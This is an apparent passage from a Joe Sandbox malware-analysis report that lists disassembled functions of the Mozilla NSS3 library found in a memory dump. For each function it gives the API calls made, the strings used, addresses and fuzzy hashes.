Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 9983c3250d8e395f5ef798fee75d9cd6aaf6a91e9736162d06b81e00f2da6d9c
Instruction ID: bfaa7fc9e1db0d61847c1811fb0bf64da549d59bd5bfb9ea467bde6d475f0f21
Opcode Fuzzy Hash: 9983c3250d8e395f5ef798fee75d9cd6aaf6a91e9736162d06b81e00f2da6d9c
Instruction Fuzzy Hash: 6EA119B2A5FD8587E7504A3CCD0178432A6AB8B32AF584377EA31C7ED6DB35D480824D

Function 6C665DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C665DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C665E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6C665E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6C665E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6C665EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6C665ED9
SECKEY_SignatureLen.NSS3(?), ref: 6C665F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6C665F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C665F89
free.MOZGLUE(?), ref: 6C665FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C665FB6
free.MOZGLUE(00000000), ref: 6C665FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C66600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C666079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C666084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C666094

Strings

, xrefs: 6C665EEB

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: d901d56224bb4418cbcbd9d9a172ef52497049b3c066da2285bbec1347382744
Instruction ID: 10cc2dcea2be0ec3e3dd28649f9d367e685084ceadb61b549844765db08a7210
Opcode Fuzzy Hash: d901d56224bb4418cbcbd9d9a172ef52497049b3c066da2285bbec1347382744
Instruction Fuzzy Hash: FB8114B1E002059BDF108F66DD82BAE77B5AF45318F144128E859A7F82E731E815CBDB

Function 6C684E60 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C684E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C684EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C684EC7

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C684EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C684F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C684F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C684F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C684F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C684F68

Strings

nvl, xrefs: 6C684F82, 6C684FB2
C_GetAttributeValue, xrefs: 6C684E7E
ulCount = %d, xrefs: 6C684F63
hSession = 0x%x, xrefs: 6C684EA2, 6C684EB2
hObject = 0x%x, xrefs: 6C684EF5, 6C684F05
pTemplate = 0x%p, xrefs: 6C684F4A
(CK_INVALID_HANDLE), xrefs: 6C684EC0, 6C684F13

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue$nvl
API String ID: 1003633598-93353135
Opcode ID: fb92c4ffa5f634867e1735a83aa7d0aa6f90120fdeed323078e37e2375f306a0
Instruction ID: f6e14b3d736c57f279b726a741a7e004b96aca9608d797e3e296e14d28d058eb
Opcode Fuzzy Hash: fb92c4ffa5f634867e1735a83aa7d0aa6f90120fdeed323078e37e2375f306a0
Instruction Fuzzy Hash: A741B871603148ABDB00DF55DE8CFAA77B9AF5231DF044038E9096BA51DB709948CB7E

Function 6C684CD0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C684CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C684D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C684D37

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C684D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C684D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C684D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C684DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C684DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C684E20

Strings

pulSize = 0x%p, xrefs: 6C684DB7
nvl, xrefs: 6C684DD4, 6C684DFF
hSession = 0x%x, xrefs: 6C684D12, 6C684D22
hObject = 0x%x, xrefs: 6C684D65, 6C684D75
C_GetObjectSize, xrefs: 6C684CEE
*pulSize = 0x%x, xrefs: 6C684E1B
(CK_INVALID_HANDLE), xrefs: 6C684D30, 6C684D83

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize$nvl
API String ID: 1003633598-284515238
Opcode ID: 278c88c42d84bd266fd638f538553036082ef0850af10a77a7d5f224c25a59cc
Instruction ID: ff990fbe767b50cf8c292360391d709c143b795392f06256ba8e5ebdc624f9ef
Opcode Fuzzy Hash: 278c88c42d84bd266fd638f538553036082ef0850af10a77a7d5f224c25a59cc
Instruction Fuzzy Hash: 9341EB71602208AFDB009F10DE9CF6A37B9EB4634DF048034F9096BA51DB709948CB7E

Function 6C687C90 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6C687CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C687CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C687CF3

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C687D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C687D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C687D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C687D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6C687D77

Strings

pData = 0x%p, xrefs: 6C687D25
nvl, xrefs: 6C687D8F, 6C687DC3
ulDataLen = %d, xrefs: 6C687D40
C_Verify, xrefs: 6C687CB1
hSession = 0x%x, xrefs: 6C687CCE, 6C687CDE
ulSignatureLen = %d, xrefs: 6C687D72
pSignature = 0x%p, xrefs: 6C687D59
(CK_INVALID_HANDLE), xrefs: 6C687CEC

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify$nvl
API String ID: 1003633598-4033680503
Opcode ID: 3c7e7a15cea87878576098e33b48e0fcaf301d34cb86e9a8608494b23f8823cd
Instruction ID: 891cdfe52b6b1f958b2b871e3efbb6d5ef4f782ddf634e12508c842d5df35402
Opcode Fuzzy Hash: 3c7e7a15cea87878576098e33b48e0fcaf301d34cb86e9a8608494b23f8823cd
Instruction Fuzzy Hash: C631A371702148AFDB109F55DE4CEAA3BF2AB4235CF084434F9096BA11DB309948CBBE

Function 6C682F00 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6C682F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C682F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C682F63

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C682F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6C682F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6C682FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6C682FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6C682FE7

Strings

nvl, xrefs: 6C682FFF, 6C683030
pNewPin = 0x%p, xrefs: 6C682FC9
pOldPin = 0x%p, xrefs: 6C682F95
ulNewLen = %d, xrefs: 6C682FE2
hSession = 0x%x, xrefs: 6C682F3E, 6C682F4E
C_SetPIN, xrefs: 6C682F21
ulOldLen = %d, xrefs: 6C682FB0
(CK_INVALID_HANDLE), xrefs: 6C682F5C

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN$nvl
API String ID: 1003633598-3987637513
Opcode ID: a0c0929151f935d472a087e52fedf7264f646c289ca27a79c4ce82b28266d8da
Instruction ID: a4b79b0e1421ec2e2d805b612606df912baf784089d4f8c17c66037e965dcc03
Opcode Fuzzy Hash: a0c0929151f935d472a087e52fedf7264f646c289ca27a79c4ce82b28266d8da
Instruction Fuzzy Hash: 9731B375603148AFDB009F55DE4CE8A7BB2EB4735DF484034E909ABB51DB309948CBAE

Function 6C769C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6C769C70
PR_NewLock.NSS3 ref: 6C769C85

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PR_NewCondVar.NSS3(00000000), ref: 6C769C96

Part of subcall function 6C63BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C6421BC), ref: 6C63BB8C

PR_NewLock.NSS3 ref: 6C769CA9

Part of subcall function 6C7198D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C719946
Part of subcall function 6C7198D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5D16B7,00000000), ref: 6C71994E
Part of subcall function 6C7198D0: free.MOZGLUE(00000000), ref: 6C71995E

PR_NewLock.NSS3 ref: 6C769CB9
PR_NewLock.NSS3 ref: 6C769CC9
PR_NewCondVar.NSS3(00000000), ref: 6C769CDA

Part of subcall function 6C63BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C63BBEB
Part of subcall function 6C63BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C63BBFB
Part of subcall function 6C63BB80: GetLastError.KERNEL32 ref: 6C63BC03
Part of subcall function 6C63BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C63BC19
Part of subcall function 6C63BB80: free.MOZGLUE(00000000), ref: 6C63BC22

PR_NewCondVar.NSS3(?), ref: 6C769CF0
PR_NewPollableEvent.NSS3 ref: 6C769D03

Part of subcall function 6C75F3B0: PR_CallOnce.NSS3(6C7B14B0,6C75F510), ref: 6C75F3E6
Part of subcall function 6C75F3B0: PR_CreateIOLayerStub.NSS3(6C7B006C), ref: 6C75F402
Part of subcall function 6C75F3B0: PR_Malloc.NSS3(00000004), ref: 6C75F416
Part of subcall function 6C75F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6C75F42D
Part of subcall function 6C75F3B0: PR_SetSocketOption.NSS3(?), ref: 6C75F455
Part of subcall function 6C75F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6C75F473

Part of subcall function 6C719890: TlsGetValue.KERNEL32(?,?,?,6C7197EB), ref: 6C71989E

EnterCriticalSection.KERNEL32(?), ref: 6C769D78
calloc.MOZGLUE(00000001,0000000C), ref: 6C769DAF
_PR_CreateThread.NSS3(00000000,6C769EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6C769D9F

Part of subcall function 6C63B3C0: TlsGetValue.KERNEL32 ref: 6C63B403
Part of subcall function 6C63B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6C63B459

_PR_CreateThread.NSS3(00000000,6C76A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6C769DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6C769DFC
_PR_CreateThread.NSS3(00000000,6C76A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6C769E29
calloc.MOZGLUE(00000001,0000000C), ref: 6C769E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6C769E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C769E89

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: b5aefc78b1ad5f0be1eea4f7c726adef41032bb7688b705fd30b5d3c2fc4a16c
Instruction ID: 47e0bda89cbaa6b437f2cb76a8c6fe7070108346d6ff20ce188df0cb11ec11ae
Opcode Fuzzy Hash: b5aefc78b1ad5f0be1eea4f7c726adef41032bb7688b705fd30b5d3c2fc4a16c
Instruction Fuzzy Hash: C8612BB1900706AFD710DF76D944AA6BBE8FF49308B044539E85AC7F11EB30E815CBA5

Function 6C663FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6C664014

Part of subcall function 6C6639F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C665E6F,?), ref: 6C663A08
Part of subcall function 6C6639F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C665E6F), ref: 6C663A1C
Part of subcall function 6C6639F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C663A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6C664038

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C66404D

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C77A0F4), ref: 6C6640C2

Part of subcall function 6C6AF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C6AF0C8
Part of subcall function 6C6AF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6AF122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6C66409A

Part of subcall function 6C6ABE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C65E708,00000000,00000000,00000004,00000000), ref: 6C6ABE6A
Part of subcall function 6C6ABE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6604DC,?), ref: 6C6ABE7E
Part of subcall function 6C6ABE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C6ABEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6640DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6640F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C664108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6C66411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6C664137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6C664150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6C77A1C8), ref: 6C66417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6C664194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C6641A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6641B2
PK11_DestroyObject.NSS3(?,?), ref: 6C6641D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6641FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C77A1A8), ref: 6C66422D

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: 0e939b85d2b0606d785361b84d16c14bbff6e23a9f8a970531a9e37e68c402ca
Instruction ID: e8d5ba0a5010404dac0e1cb622ebc99dd7662ea4190aadad98f6853c3db08788
Opcode Fuzzy Hash: 0e939b85d2b0606d785361b84d16c14bbff6e23a9f8a970531a9e37e68c402ca
Instruction Fuzzy Hash: F451F6B1A043016BF710DB269C61BB7B6DD9F5234CF140528E95AC6F42FB71E91882AF

Function 6C6A8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8E9E
PORT_ArenaAlloc_Util.NSS3(6C7B0B64,00000001,?,?,?,?,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C6A8E01), ref: 6C6A8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C7B0B64,6C7B0B64), ref: 6C6A8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C6A8F3F

Part of subcall function 6C6AA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C6AA421,00000000,00000000,6C6A9826), ref: 6C6AA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6A904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C6A8E76

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: b41af695523b766951f8b3d7dd66e221d047e4c6bbeb62b751c989f09ed93225
Instruction ID: 0a5e921e9643bca006ffd503c695ffcc5610e738b0be403def85a23dd1839119
Opcode Fuzzy Hash: b41af695523b766951f8b3d7dd66e221d047e4c6bbeb62b751c989f09ed93225
Instruction Fuzzy Hash: E66173B5D0010A9BDB10CF96CD44AABB7B5FF88358F244129DC18A7711E732AD16CBB4

Function 6C658E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C658E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C658E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C658EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C7818D0,?), ref: 6C658F03
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C658F19
